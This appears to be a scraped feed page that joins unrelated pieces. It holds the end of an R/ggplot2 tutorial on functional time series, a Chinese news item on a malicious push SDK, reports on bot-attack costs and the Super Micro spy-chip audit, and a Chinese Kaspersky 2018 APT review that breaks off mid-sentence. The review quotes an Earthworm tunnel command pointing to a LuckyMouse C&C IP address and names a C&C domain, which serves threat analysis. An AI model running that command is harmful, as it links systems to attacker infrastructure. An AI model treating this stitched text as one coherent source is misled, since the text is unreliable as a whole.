facf <- function(df, xvar, yvar, time, lag.max=20) { key <- enquo(xvar) value <- enquo(yvar) timeindex <- enquo(time) x <- df %>% select(!!key, !!value, !!timeindex) %>% spread(value=!!value, key=!!key) %>% select(-!!timeindex) %>% as.ts() %>% acf(plot=FALSE, lag.max=lag.max, na.action=na.pass) nx <- dim(x$acf)[2] output <- NULL for(i in seq(lag.max+1)) { output <- bind_rows(output, tibble( lag = i-1, x1 = rep(rep(0:(nx-1), nx)), x2 = rep(0:(nx-1), rep(nx,nx)), acf = c(x$acf[i,,]) )) } colnames(output)[2:3] <- paste0(as.character(key)[[2]],1:2) return(output) } # Compute FACF for the French mortality data fracf <- frmort %>% nest(-sex) %>% mutate( acf = map(data, ~ facf(df=., xvar=age, yvar=mortrate, time=year)) ) %>% select(-data) %>% unnest() fracf %>% filter(lag < 4) %>% ggplot(aes(x = age1, y = age2, fill = acf)) + geom_raster() + facet_grid(sex~lag) + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series

Here there is a striking difference between males and females, with relatively low correlations between mortality rates of males aged 18-35 and males of other ages. This is largely driven by the wars where males of those ages die at much greater rates than other males, but only for a few years. If we start the analysis from 1950, the effect is much reduced.

fracf <- frmort %>% filter(year > 1950) %>% nest(-sex) %>% mutate( acf = map(data, ~ facf(df=., xvar=age, yvar=mortrate, time=year)) ) %>% select(-data) %>% unnest() fracf %>% filter(lag < 4) %>% ggplot(aes(x = age1, y = age2, fill = acf)) + geom_raster() + facet_grid(sex~lag) + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series

There is still a section of low correlation around ages 18-22, with the correlations being lower for males than females. I suspect this is to do with the well-known accident bump, where young people tend to have higher mortality due to accidents and suicides than people of other ages.

Jim Ramsay pointed out in my talk that it would be nice to remove the redundancy due to symmetry and show the males in the top left triangles, with the females below. It turns that this is also very easy to do.

fracf %>% filter( lag < 4, (sex=="male" & age2 > age1) | (sex=="female" & age2 < age1) ) %>% ggplot(aes(x = age1, y = age2, fill = acf)) + geom_raster() + facet_grid(~lag) + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series

Finally, the diagonals where age1 = age2 are of particular interest, as these correspond to the ACFs of the univariate time series comprising each age group.

I will plot them in three different ways against age, against lag, and as a 2-d image plot.

fracf %>% filter(age1==age2) %>% ggplot(aes(x = age1, y = acf, group = lag, col = lag)) + facet_grid(~sex) + geom_line() + scale_color_gradientn(colours = rainbow(10))
Using ggplot2 for functional time series
fracf %>% filter(age1==age2) %>% ggplot(aes(x = lag, y = acf, group = age1, col = age1)) + geom_line() + facet_grid(~sex) + scale_color_gradientn(colours = rainbow(10))
Using ggplot2 for functional time series
fracf %>% filter(age1==age2) %>% ggplot(aes(x = lag, y = age1, fill = acf)) + geom_raster() + facet_grid(~sex) + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series
Melbourne pedestrian data

My second example involves pedestrian traffic near Flinders St Station in Melbourne city. The data can be downloaded using the rwalkr package, but some data is pre-packaged in the sugrrants package, which we will use here.

Again, the first task is to put the data into a suitable form. We will use only data from Flinders St Station Underpass in 2016, and add in holiday information to the data set.

library(sugrrants) pedestrian <- pedestrian %>% filter( Sensor_Name == "Flinders Street Station Underpass", Date <= as.Date("2016-12-31"), ) %>% rename_all(tolower) %>% rename( hour = "time", number = "hourly_counts" ) %>% left_join(tsibble::holiday_aus(2016, state = "VIC")) %>% mutate( daytype = ifelse( day %in% c("Saturday", "Sunday") | !is.na(holiday), "Holiday", "Workday" ) ) %>% select(date, hour, day, daytype, month, number) pedestrian ## # A tibble: 8,783 x 6 ## date hour day daytype month number ## <date> <int> <ord> <chr> <ord> <int> ## 1 2016-01-01 0 Friday Holiday January 3643 ## 2 2016-01-01 1 Friday Holiday January 2009 ## 3 2016-01-01 2 Friday Holiday January 3238 ## 4 2016-01-01 3 Friday Holiday January 2164 ## 5 2016-01-01 4 Friday Holiday January 1161 ## 6 2016-01-01 5 Friday Holiday January 682 ## 7 2016-01-01 6 Friday Holiday January 388 ## 8 2016-01-01 7 Friday Holiday January 373 ## 9 2016-01-01 8 Friday Holiday January 275 ## 10 2016-01-01 9 Friday Holiday January 545 ## # ... with 8,773 more rows </int> </ord> </chr> </ord> </int> </date>

The differences between days is clearly seen. It is also apparent that there were a handful of very unusual days.

pedestrian %>% ggplot(aes(x = hour, y = number, group = date)) + geom_line() + facet_grid(~day)
Using ggplot2 for functional time series

For sub-daily data, a calendar plot is extremely useful for identifying them, along with other interesting features in the data. The public holidays on weekdays are clearly marked here in a different colour. Can you spot deviations from the regular pattern that are not explained by holidays?

p <- pedestrian %>% frame_calendar(x = hour, y = number, date = date) %>% ggplot(aes(x = .hour, y = .number, group = date, colour = daytype)) + geom_line() + theme(legend.position = "bottom") prettify(p)
Using ggplot2 for functional time series

For the ACF, I will look only at the “diagonal surface” ― the equivalent of the univariate ACFs for each hour, plotted for different lags.

pedestrian %>% facf(xvar=hour, yvar=number, time=date, lag.max=20) %>% filter(hour1==hour2) %>% ggplot(aes(x = lag, y = hour1, fill = acf)) + geom_raster() + scale_fill_viridis_c(option = "A", direction = -1)
Using ggplot2 for functional time series

Here it is interesting to note that the weekly seasonality is strongest at hours 6-9am and around 4-5pm, corresponding to the peak hours for workers. There is relatively weak correlation between 10am and 3pm, when workers are mostly working.

300多款APP受“寄生推”病毒感染,腾讯手机管家精准防御

$
0
0

原标题:300多款APP受“寄生推”病毒感染,腾讯手机管家精准防御

近年来,木马病毒感染事件频繁发生,给用户的日常生活带来一定程度的损害。近日,腾讯安全联合实验室反诈骗实验室自研的TRP-AI反病毒引擎捕获到一个恶意推送信息的SDK――“寄生推”SDK。此前曾有用户下载了一款知名软件,结果手机开始不断弹出恶意弹窗,而这很有可能是因为该软件被植入了“寄生推”SDK。

据悉,“寄生推”推送SDK的影响范围极广,从2017年9月份开始下发恶意代码包至今,目前已有300多款知名应用受“寄生推”SDK感染,并有至少5款正规软件进行恶意推广,传播该恶意SDK,潜在受影响用户近2000万。腾讯安全联合实验室反诈骗实验室大数据显示,已有数十万用户设备ROM内被植入相关的恶意子包,受到影响的设备会不断弹出广告和地下推广应用。此外,这些恶意子包可以绕过大多应用市场的安装包检测,导致受感染的应用混入应用市场,给用户和应用开发者带来重大损失。


300多款APP受“寄生推”病毒感染,腾讯手机管家精准防御

(图:“寄生推”推送SDK恶意子包影响范围广)

“寄生推”推送SDK在恶意传播过程中,呈现了一种新特征:从云端控制SDK中实际执行的代码,具有很强的隐蔽性和对抗杀毒软件的能力。首先,其开发者通过使用代码分离和动态代码加载技术,完全掌握了下发代码包的控制权。随后,通过云端配置任意下发包含不同功能的代码包,实现恶意代码包和非恶意代码包之间的随时切换。最后在软件后台自动开启恶意功能,包括植入恶意应用到用户设备系统目录,进行恶意广告行为和应用推广等,最终实现牟取灰色收益。

针对“寄生推”恶意SDK的危害,腾讯手机管家安全专家杨启波对应用市场、开发者和用户提出了建议:其一,应用市场需要加强和细化管理,增强对恶意应用和恶意SDK的识别能力。其二,SDK开发者应尽可能的避免使用云控、热补丁等动态代码加载技术;软件开发者要谨慎接入具有动态更新能力的SDK,防止恶意SDK影响自身应用的口碑。


300多款APP受“寄生推”病毒感染,腾讯手机管家精准防御

(图:腾讯手机管家全面查杀多款感染“寄生推”恶意SDK的手机应用)

最后,用户在下载手机软件时,应通过应用宝等正规应用市场进行,避免直接在网页上点击安装不明软件。同时,用户应养成良好的安全使用手机的习惯,借助腾讯手机管家等对三方安全软件对手机进行安全检测,移除存在安全风险的应用。作为手机端的第一道防线,腾讯手机管家依托腾讯TRP-AI反病毒引擎,对下载的手机软件进行安全扫描,及时识别风险并进行安全处理,大幅提升病毒查杀效率,保障手机安全。
300多款APP受“寄生推”病毒感染,腾讯手机管家精准防御

Battling Bots Brings Big-Budget Blow to Businesses

$
0
0

Fighting off bot attacks on Web applications extracts a heavy cost in human resources and technology, according to a just-released report.

A new report carries the unsurprising news that battling botnet attacks is a way of life for modern business security teams ― a way of life that carries heavy costs in both technology and personnel.

"The Critical Need to Deal with Bot Attacks,"published by Osterman Research, surveyed more than 200 large organizations with a mean employee count of just over 16,000. All had externally facing Web applications with login pages and were actively working to prevent, detect, and remediate attacks against those applications.

According to the report , the average company surveyed suffers 530 botnet attacks each day, though some organizations see thousands of attacks each day, with some attacks probing millions of potential victim accounts every hour.

The numbers in the Osterman Research report broadly mirror those seen in other security reports issued in 2018. One example is Akamai's "Summer 2018 State of the Internet/Security: Web Attacks Report," which noted that many botnets follow a "low and slow" tactic of probing accounts in at attempt to remain undetected by automated systems, while others floor victims with probes in a strategy of overwhelming defenses and retrieving valued information.

In the face of recent attacks, such as that against Starwood/Marriott, in which the attack's "dwell time" inside the database wasroughly four years, the average time to detect a botnet attack reported in the Osterman Research survey ― 48 hours ― may seem remarkably fast. Add in another 48 hours for remediation, and first attack to remediation is four days. In a public-facing Web application, though, that can mean four days of data exfiltration or four days of reduced application access due to a denial-of-service attack, depending on the nature of the botnet.

And keeping the response time as short as it is requires an organization to devote expensive, precarious resources to the battle. According to Osterman Research, three in five organizations have no more than two staff members devoted to a botnet response, though more than one in five devotes four or more staff members to the fight.

Each of those staff members is expensive, with the fully burdened cost of a bot-fighting security specialist averaging more than $141,000 each year. Each of those staff members is kept busy working with multiple pieces of equipment, as 91% report using a Web application firewall, 49% an IPS/IDS, 40% a SIEM, and lower percentages other technology in combination to combat Web attacks.

According to the report, the average organization now has 482 potential applications vulnerable to bot attacks and spends an average of 2,600 person-hours per year managing the threat. In the report's final section, on dealing with the threat, the No. 1 recommended activity is for an organization to understand the full cost of responding to bot-based threats to Web security so that appropriate steps can be taken to battle the automated attackers.

Super Micro says audit found no trace of Chinese spy chips on its boards

$
0
0

hardware builder Super Micro has delivered another effort to prove to the public its machines were not bugged by the Chinese government.

The US-based company on Tuesday issued the findings of an investigation it says show no indication that its motherboards were ever compromised at the factory level and modified with surveillance equipment.

"After thorough examination and a range of functional tests, the investigations firm found absolutely no evidence of malicious hardware on our motherboards," said Super Micro CEO and president Charles Liang.

Such was the claim madein an October report from Bloomberg. Citing unnamed sources, the article claimed that a small number of Super Micro boards were accessed by Beijing spies and had a small chip placed on them that would allow the Chinese state to spy on targeted companies like Apple, Amazon Web Services, and US government contractors.

Since the story was published, Super Micro has strongly denied its products were ever tampered with, and now the company says it has the results of a third-party investigator on its side.

The hardware vendor also offered a short video showcasing its security practices and policies to make sure its boards are not tampered with.

Youtube Video

"Because the security and integrity of our products is our highest priority, we undertook a thorough investigation with the assistance of a leading, third-party investigations firm," Liang said.

"A representative sample of our motherboards was tested, including the specific type of motherboard depicted in the article and motherboards purchased by companies referenced in the article, as well as more recently manufactured motherboards."

Super Micro has good reason to refute the article. After the news broke in October, the company's stock plummeted by nearly 50 per cent and, despite support from Apple and others, has yet to fully recover to its earlier-year highs.

Sponsored: Five steps to dealing with the insider threat

卡巴斯基:2018年度安全大事件盘点

$
0
0
一、概述

互联网现在已经融入了生活的方方面面,许多人在网上进行交易、购物和社交,网络已经成为了商业组织的生命线。政府、企业和消费者对技术的依赖,也为具有各种动机的攻击者提供了广泛的攻击面――金融盗窃、数据窃取、基础设施破坏、名誉受损等等。网络攻击的范围,从高度复杂的特定目标攻击,到机会主义网络犯罪。通常,这两者都依赖于将心理学操纵作为危害整个系统或个人计算机的方式。攻击者的目标不断扩大,已经开始覆盖到一些不属于计算机的设备,例如儿童玩具和安全摄像头。本文主要针对2018年发生的重大事件和安全趋势进行年度总结。

二、针对特定目标的攻击活动

在今年内的安全分析师峰会上,我们分析了Slingshot,这是一个复杂的网络间谍平台,从2012年以来一直瞄准中东和非洲的受害者。我们在威胁事件中发现了这种威胁,该威胁与Regin和ProjectSauron类似。Slingshot使用了一种不同寻常的攻击载体,许多受害者受到被攻陷的MikroTik路由器的攻击。攻陷路由器的确切方法尚不清楚,但攻击者已经找到了向设备添加恶意DLL的方法:该DLL是其他恶意文件的下载程序,然后将其存储在路由器上。当系统管理员登录并配置路由器时,路由器的管理软件会在管理员的计算机上下载并运行恶意模块。Slingshot在受感染的计算机上加载了许多模块,其中最引入注意的两个模块是Cahnadr和GollumApp,它们分别是内核模式和用户模式的模块。二者共同提供持久性、管理文件系统、泄漏数据以及与C&C(命令和控制)服务器通信的功能。我们查看的样本,标记为“版本6.X”,表明这一威胁已经存在相当长的一段时间。根据Slingshot的创建时间、技能和成本表明,其背后的团队是高度组织化和专业化的,并且可能有国家背景。在平昌冬季奥运会开幕后不久,我们就收到了针对奥运会基础设施的恶意软件攻击报告。Olympic Destroyer攻击了一些显示器,关闭了Wi-Fi,攻陷了奥运会网站从而阻止观众打印门票。攻击者还攻击了该地区的其他一些组织,例如一些韩国的滑雪胜地。Olympic Destroyer是一种网络蠕虫,其主要目的是从受害者的远程网络共享中擦除文件。在攻击发生后的几天中,基于此前网络间谍和攻击团队的一系列特征,世界各地的研究团队和媒体将此次袭击归咎为俄罗斯、中国和朝鲜。我们的研究人员也试图分析攻击的幕后黑手,在研究的过程中,我们发现Lazarus恶意组织似乎与此次攻击相关。我们发现,攻击者留下的一些独特痕迹与此前Lazarus恶意软件的组件完全匹配。然而,我们在韩国一家受到攻击的组织进行现场调查时发现,此次攻击与已知的Lazarus TTP(战术)相对比,其动机明显不同。我们发现相应的特征与代码无法相互匹配,该攻击中的恶意软件被伪造成与Lazarus使用的指纹完美匹配。因此我们得出结论,其所使用的“指纹”是一个复杂的虚假标志,故意放置于恶意软件内部,以便使威胁研究人员找到,从而误导他们。


卡巴斯基:2018年度安全大事件盘点

我们继续追踪这一APT组织的活动,并在今年6月注意到他们已经开始一个针对不同地理范围的新型攻击。根据我们的远程监测和对鱼叉式网络钓鱼文件的分析,表明在Olympic Destroyer背后的攻击者主要针对欧洲的金融行业和生物技术相关组织发动攻击,特别是俄罗斯、荷兰、德国、瑞士和乌克兰。在早期,Olympic Destroyer的主要目标是摧毁冬奥会及相关的供应链、合作伙伴和场馆的基础设施,并且之前已经进行了一次侦查活动。这样的证据表明,新的恶意活动是另一个侦查阶段的一部分,随后会进行一系列具有新动机的破坏性攻击。其针对的各种金融相关目标和非金融目标也表明,具有不同目的的多个恶意组织正在使用相同的恶意软件。这可能是网络攻击外包的结果,这种情况在民族国家威胁中并不少见。然而,以金融为目标很可能也是恶意组织的一个“幌子”,从而掩盖其真实的目的。

在今年4月,我们披露了Parliament活动的运作情况,这是一项针对世界各地立法、行政和司法组织的网络间谍活动,主要集中在中东和北非地区,特别是巴勒斯坦。这些攻击始于2017年初,主要针对议会、参议院、州政府及其官员、政治学家、军事和情报机构、政府部门、媒体机构、研究中心、选举委员会、奥运组织、大型贸易公司等。此次目标受害者不同于此前在该地区的恶意活动(Gaza Cybergang和Desert Falcons),并且在这次恶意攻击之前,恶意组织精心进行了信息收集活动。在进一步感染之前,攻击者一直非常小心的验证受害设备,从而保护他们的C&C服务器。在2018年以后,攻击速度放缓,可能是由于攻击者已经实现了目标。


卡巴斯基:2018年度安全大事件盘点

我们持续追踪Crouching Yeti(又名Energetic Bear)的恶意活动,这是一个自2010年以来一直活跃的APT集团,主要以能源和工业公司为目标。该恶意组织面向全球各地发动攻击,但特别关注欧洲、美国和土耳其,土耳其是该恶意组织在2016-2017年期间新增的目标。该恶意组织的主要策略是发送包含恶意文档的网络钓鱼电子邮件,以及借助托管工具、日志和水坑攻击来感染服务器。美国CERT和英国国家网络安全中心(NCSC)已经公开讨论过Crouching Yeti针对美国目标的恶意活动。今年4月,卡巴斯基实验室ICS CERT提供了有关被Crouching Yeti感染和恶意利用的服务器的信息,并提供了针对2016年和2017年初被该恶意组织攻陷的几台Web服务器的分析结果。读者可以在这里查阅 完整报告 ,但以下是我们总结的摘要:

1. 除了极少数例外情况,该恶意组织使用公开的工具来进行攻击。正因如此,使得根据攻击行为追溯到恶意组织的这一过程非常困难。

2. 当攻击者希望建立一个“跳板”,对目标设施开展进一步攻击时,互联网上任何存在漏洞的服务器都有可能受到攻击。

3. 该恶意组织执行的大多数任务,都是寻找漏洞、在各类主机上获得持久性,以及窃取身份验证数据。

4. 恶意攻击的受害者来自不同行业,同时也表明攻击者具有多种目的。

5. 在某种程度上,可以确定该恶意组织的运营方式是接受外部客户的资金支持或接受订单,然后进行初始数据收集,窃取身份验证数据,并获得相应攻击资源的持久性,以便攻击者进一步执行恶意活动。

今年5月,Cisco Talos团队的研究人员发布了他们针对VPNFilter的研究结果,这是一个用于感染不同品牌路由器的恶意软件,主要针对乌克兰的目标发动攻击,但同时也影响了54个国家的路由器。关于该恶意软件的分析,请参考 这篇文章 和 这篇文章 。最初,分析人员认为该恶意软件感染了大约500000台路由器,包括小型办公室或家庭办公室(SOHO)中的Linksys、MikroTik、Netgear和TP-Link网络设备,以及QNAP网络附加存储(NAS)设备。但实际上,受感染的路由器清单显然要长得多,总共有75种设备,包括华硕、D-Link、华为、Ubiquiti、UPVEL和中兴。恶意软件能够使受感染的设备停止工作、执行Shell命令、创建用于匿名访问设备的TOR配置或配置路由器的代理端口和代理URL以控制浏览会话。但是,该风险也会扩散到设备支持的网络中,从而扩大了攻击范围。我们的全球研究和分析团队(GReAT)的研究人员详细分析了VPNFilter使用的C&C机制。其中一个有趣的问题是,谁是这个恶意软件的幕后黑手?Cisco Talos表示,该恶意软件的背后是一个由国家或州支持的威胁行为者。美国联邦调查局在其关于使用Sink-holing 技术关停C&C服务器的报告中表示,Sofacy(又名APT28、Pawn Storm、Sednit、STRONTIUM和Tsar Team)是该恶意软件的始作俑者。在此前针对乌克兰的攻击所使用的BlackEnergy恶意软件中,有一些代码与之相同。

Sofacy是卡巴斯基实验室多年来一直追踪的恶意组织,该网络间谍组织保持高度活跃,并且频繁产出恶意软件。在2月,我们发布了2017年Sofacy恶意活动的概述,并揭示了2017年该恶意组织逐渐从北约的目标转向中东、中亚以及其他地区的目标。Sofacy使用鱼叉式网络钓鱼和水坑攻击来窃取信息,包括帐户凭据、敏感通信和文档。该威胁行为者还利用0day漏洞来部署其恶意软件。

Sofacy针对不同的目标部署了不同的工具。2017年年初,该恶意组织的经销商针对军事和外交组织(主要位于北约国家和乌克兰)开展恶意活动。在今年晚些时候,该组织利用其武器库中的Zebrocy和SPLM,针对更广泛的组织(包括科学与工程中心以及新闻媒体),面向中亚和远东地区发动攻击。与其他复杂的威胁参与者一样,Sofacy不断开发新的工具,保持高水平的操作安全性,并专注于使其恶意软件难以检测。一旦在网络上发现了Sofacy这类高级恶意组织的任何活动迹象,应该立即检查系统上的登录和异常管理员访问权限,彻底扫描或使用沙箱运行收到的所有附件,并将电子邮件等服务设置为双因素身份验证和通过VPN访问。借助APT情报报告、YARA等威胁搜索工具以及KATA(卡巴斯基反目标攻击平台)等高级检测解决方案,可以有助于用户了解恶意组织的目标,并提供检测恶意活动的强大方法。

我们的研究表明,Sofacy并不是唯一在远东地区运营的恶意组织,这有时会导致不同恶意组织之间的目标重叠。我们已经发现,Sofacy的Zebrocy恶意软件利用俄罗斯恶意组织Mosquito Turla的集群竞争访问受害者计算机的案例,其使用的SPLM后门软件与Turla和Danti竞相攻击,都以中亚地区政府、科技、军事相关的组织为攻击目标。最有趣的目标重叠,可能是Sofacy与Lamberts家族之间的重叠。在检测到服务器上存在Sofacy组织的恶意软件之后,研究人员发现该服务器此前已被Grey Lambert恶意软件攻击。这台被攻陷的服务器属于一家设计和制造航空航天和防空技术的中国企业集团。但是,原始的SPLM投递载体仍然未知,这就引发了很多假设的可能性,包括Sofacy可能正在使用尚未被发现的新型漏洞利用方式、后门产生了新的变种,或者Sofacy以某种方式成功利用了Gray Lambert的通信渠道来下载其恶意软件。甚至,可能之前的Lambert感染是该恶意活动中故意留下的虚假线索。我们认为,最可能的答案是,Sofacy利用未知的新PowerShell脚本或合法但存在漏洞的Web应用程序来加载并执行SPLM代码。


卡巴斯基:2018年度安全大事件盘点
6月份,我们报告了一项针对中亚国家数据中心的持续恶意活动。在这一活动中,目标的选择尤为重要,这意味着攻击者能够一举获得大量的政府资源。我们认为,攻击者通过在相应国家的官方网站上插入恶意脚本来执行水坑攻击。我们根据恶意活动中所使用的工具和策略,以及C&C服务器update.iaacstudio[.]com,推断该恶意活动由LuckyMouse组织进行(又名EmissaryPanda和APT27)。该恶意组织此前的目标是政府组织,也包括中亚地区的组织。用于攻击数据中心的原始载体尚不清楚。我们此前观察到,LuckyMouse使用武器化工具,借助CVE-2017-11882(Microsoft Office公式编辑器漏洞,自2017年12月以来被广泛使用)进行攻击,但我们无法证明这一系列工具与此次攻击有关。攻击者可能会使用水坑攻击的方式来感染数据中心内部的计算机。 在9月,我们报道了LuckyMouse的另一起活动。自3月份以来,我们发现了一些感染行为,其中一个以前未知的木马被注入到“lsass.exe”系统进程内存中。注入过程是由经过签名的32位或64位网络过滤驱动程序NDISProxy实现,这一驱动程序由中国的LeagSoft公司签署,该公司是一家位于深圳的信息安全软件开发商,我们通过CN-CERT报告了这一问题。该恶意活动针对的是中亚政府组织,我们认为此次攻击与该地区的高层会议有关。在攻击中所使用的Earthworm隧道,对于使用中文的恶意组织来说是非常典型的。此外,攻击者使用的命令之一(-s rssocks -d 103.75.190[.]28 -e 443)创建了到先前已知的LuckyMouse C&C服务器的隧道。该恶意活动所针对的目标,也与该恶意组织此前选择的目标一致。我们没有发现任何鱼叉式网络钓鱼或水坑活动的迹象,我们认为攻击者是通过已经被攻陷的网络来进行恶意软件传播。

Lazarus是一个成熟的恶意组织,从2009年以来就开始进行网络间谍活动和网络破坏活动。近年来,该组织开始针对全球金融组织开展恶意活动。在8月,我们发现该组织已经成功攻陷了几家银行,并渗透了一些全球加密货币交易所和金融科技公司。在协助应急响应的同时,我们了解到受害者是通过带有木马的加密货币交易应用被感染的。一位安全意识较为薄弱的员工从看似合法的网站下载了第三方应用程序,并感染了一个名为Fallchill的恶意软件,这是Lazarus近期开始使用的劳工具。似乎Lazarus已经找到了一种有效的方法来创建一个看起来合法的网站,并将恶意Payload注入到看似合法的软件更新机制中。在这种情况下,恶意组织创建了一个虚假的供应链,而并没有攻陷一个真正的供应链。无论如何,Lazarus集团在攻击供应链方面取得的成功,表明了他们会继续利用这种攻击方式。攻击者针对非windows平台做出了额外的努力,并且开发了针对macOS系统的恶意软件,同时该网站提示称linux版本即将推出。这可能是我们第一次发现这个APT组织利用针对macOS的恶意软件。看起来,为了针对特定高级目标发动攻击,恶意组织被迫要开发macOS恶意软件工具。Lazarus集团扩展其目标操作系统列表的事实,应该为非Windows用户敲响警钟。读者可以在 这里 阅读我们关于AppleJeus的报告。

Turla(又名Venomous Bear、Waterbug和Uroboros)恶意组织最著名的就是当时极度复杂的Snake Rootkit,主要攻击与北约相关的目标。然而,这一恶意组织的实际活动要比这一恶意软件广泛得多。10月,我们报道了Turla组织近期的活动,揭示了旧代码、新代码和新猜测的有趣组合,以及推测了该恶意组织的后续计划。我们在2018年的大部分研究,都集中于他们的KopiLuwak javascript后门、Carbon框架的新变种以及Meterpreter交付技术。其他一些值得关注的地方是他们使用不断变化的Mosquito投递技术、定制的PoshSec-Mod开源PowerShell和从别处借用的注入代码。我们将一些恶意活动与WhiteBear和Mosquito基础设施及数据点以及恶意组织在2017年和2018年期间的活动相关联。该恶意组织的目标很少与其他APT活动相重叠。Turla并没有参加具有里程碑意义的DNC黑客活动(Sofacy和CozyDuke都曾参与),他们悄然活跃在全球各地的其他恶意活动中,与该恶意组织相关的攻击方法尚未被武器化。Mosquito和Carbon活动主要针对外交和外交事务目标,而WhiteAtlas和WhiteBear活动遍布全球,针对于外交相关的组织,但还针对一些科技组织以及与政治无关的组织。该组织的KopiLuwak恶意活动没有针对于外交和外交事务,相反,在2018年的恶意活动主要针对具有政府背景的科学和能源研究组织,以及阿富汗政府相关的通信组织。这种具有高度针对性但更加广泛的目标选择模式可能会持续到2019年。

10月,我们报道了MuddyWater APT组织近期的活动。我们在过去的监测表明,这个相对较新的恶意组织在2017年浮出水面,主要针对伊拉克和沙特阿拉伯的政府目标发动攻击。然而,众所周知,近期MuddyWater背后的恶意组织又将目标瞄准中东、欧洲和美国的其他国家。我们注意到,近期大量的鱼叉式网络钓鱼文件似乎针对约旦、土耳其、阿塞拜疆和巴基斯坦的政府机构、军事实体、电信公司和教育机构,此外他们针对伊拉克和沙特阿拉伯还在发动持续的攻击。在马里、奥地利、俄罗斯、伊朗和巴林,也发现了受到攻击的主机。这些新恶意文档创建于2018年,恶意活动从5月开始升级。新的鱼叉式网络钓鱼文档依靠社会工程学来诱导受害者启用宏。受害者依靠一系列被攻陷的主机来发动攻击。在我们研究的高级阶段,我们不仅发现该恶意组织武器库中的一些其他文件和工具,还观察到攻击者所犯的一些OPSEC错误。为了防范恶意软件攻击,我们建议采取如下措施:

1. 对普通员工开展安全教育,以便他们能够识别网络钓鱼链接等恶意行为。

2. 对信息安全人员开展专业培训,确保他们具备完整的配置加固、事件调查和溯源能力。

3. 使用经过验证的企业级安全解决方案,与能够通过分析网络异常来检测攻击的反目标攻击解决方案相结合。

4. 为安全人员提供访问最新威胁情报数据的权限,例如IoC和YARA规则。

5. 建立企业级补丁管理流程。

大型组织更应该应用高水平的网络安全技术,因为攻击者对这些组织的攻击是无法避免的,并且永远不太可能停止。


卡巴斯基:2018年度安全大事件盘点

DustSquad是另一个针对中亚组织的恶意组织。在过去两年中,卡巴斯基实验室一直在监控这个使用俄语的网络间谍组织,并想我们的客户提供有关针对Android和Windows的四个恶意活动的私有情报报告。最近,我们分析了一个名为Octopus的恶意程序,该程序用于攻击特定地区的外交机构。这一名称是由ESET在2017年确定的,因为他们在旧的C&C服务器上发现攻击所使用的0ct0pus3.php脚本。使用卡巴斯基归因引擎(Kaspersky Attribution Engine)基于相似度算法进行分析,我们发现Octopus与DustSquad相关。在我们的监测中,我们在中亚地区前苏联成员国和阿富汗发现这一活动的踪迹。4月,我们发现了一个新的Octopus样本,伪装成具有俄语界面的Telegram Messenger。我们无法找到该恶意软件所冒充的合法软件,事实上,我们认为相应的合法软件并不存在。然而,攻击者利用哈萨克斯坦潜在的禁止使用Telegram规定来推动其Dropper作为政治反对派的替代通信软件。

10月,我们发表了针对Dark Pulsar的分析。我们的调查始于2017年3月,当时Shadow Brokers发布的被窃取数据中包含了两个框架,分别是DanderSpritz和FuzzBunch。DanderSpritz中包含各种类型的插件,旨在分析受害者、实现漏洞利用、添加计划任务等。DanderSpritz框架旨在检查已受控制的计算机,并从中收集情报。这两个框架共同为网络间谍提供了一个非常强大的平台。但泄露的数据中并不包括Dark Pulsar后门本身,而是包含一个用于控制后门的管理模块。但是,通过在管理模块中基于一些常量创建特殊签名,我们就能够捕获到植入工具。这种植入工具使攻击者能够远程控制被感染设备。我们发现了50台被感染的设备,它们位于俄罗斯、伊朗和埃及,但我们相信可能还会有更多。首先,DanderSpritz接口能同时管理大量被感染主机。此外,攻击者通常会在恶意活动结束后删除恶意软件。我们认为这一恶意活动在2017年4月Shadow Brokers泄露“Lost in Translation”后就停止了。针对Dark Pulsar这样的复杂威胁,大家可以在 这里 查看我们提供的缓解策略。

三、移动APT攻击系列

2018年,在移动APT威胁部分,我们主要发现了三起重大事件:Zoopark、BusyGasper和Skygofree网络间谍活动。

从技术上讲,这三起恶意活动都经过精心设计,其主要目的相似,都是监视特定的受害者。这些攻击的主要目的是从移动设备中窃取所有可用的个人数据,包括呼叫、信息、地理定位等。甚至一些恶意软件还具有通过麦克风进行窃听的功能。针对一些毫无防备的目标,他们的智能手机直接成为了攻击者最佳的窃听和信息收集工具。

网络犯罪分子特别针对流行的即时通信服务进行信息窃取,现在这些服务已经在很大程度上取代了传统的通信方式。在某些情况下,攻击者能够使用木马实现在设备上的本地特权提升,从而实现几乎没有限制的远程监控访问以及设备管理。

在这三个恶意程序中,有两个程序具有记录键盘输入的功能,网络犯罪分子记录用户的每次击键。值得注意的是,要记录键盘输入,攻击者甚至都不需要提升权限。

从地理位置来看,受害者位于各个国家:Skygofree针对意大利用户,BusyGasper针对俄罗斯特定用户,Zoopark主要在中东运营。

同样值得注意的是,与间谍活动相关的犯罪分子越来越青睐于移动平台,因为移动平台提供了更多的个人信息。

四、漏洞利用

利用软件和硬件中存在的漏洞,仍然是攻击者攻陷各种设备的主要手段。

今年早些时候,有两个影响Intel CPU的高危漏洞,分别是Meltdown和Spectre,这两个漏洞分别允许攻击者从任何进程和自身进程中读取内存。这些漏洞自2011年以来一直存在。Meltdown(CVE-2017-5754)会影响Intel CPU并允许攻击者从主机上的任何进程读取数据。尽管需要执行代码,但可以通过各种方式来实现,举例来说,可以通过软件漏洞或访问加载包含Meltdown攻击相关JavaScript代码的恶意网站。一旦该漏洞被成功利用,攻击者就可以读取内存中的所有数据(包括密码、加密密钥、PIN等)。厂商很快就发布了流行操作系统适用的。但在1月3日发布的Microsoft补丁与所有反病毒程序不兼容,可能会导致BSoD(蓝屏)。因此,只有在反病毒软件首次设置特定注册表项时,才能安装更新,从而指示不存在兼容性问题。Spectre(CVE-2017-5753和VCE-2017-5715)与Meltdown不同,该漏洞也存在于其他架构中(例如AMD和ARM)。此外,Spectre只能读取漏洞利用进程的内存空间,而不能读取任意进程的内存空间。更重要的是,除了一些浏览器采用了防范措施之外,Spectre还没有通用的解决方案。在报告漏洞之后的几周内,可以很明显地看出这些漏洞不易被修复。大部分发布的补丁都是减少攻击面,减少漏洞利用的已知方法,但并没有完全消除风险。由于这个漏洞会严重影响CPU的正常工作,很明显厂商在未来的几年内都要努力应对新的漏洞利用方式。事实上,这一过程并不需要几年的时间。在今年7月,Intel为Spectre变种(CVE-2017-5753)相关的新型处理器漏洞支付了10万美元的漏洞赏金。Spectre 1.1(CVE-2018-3693)可用于创建预测的缓冲区溢出。Spectre 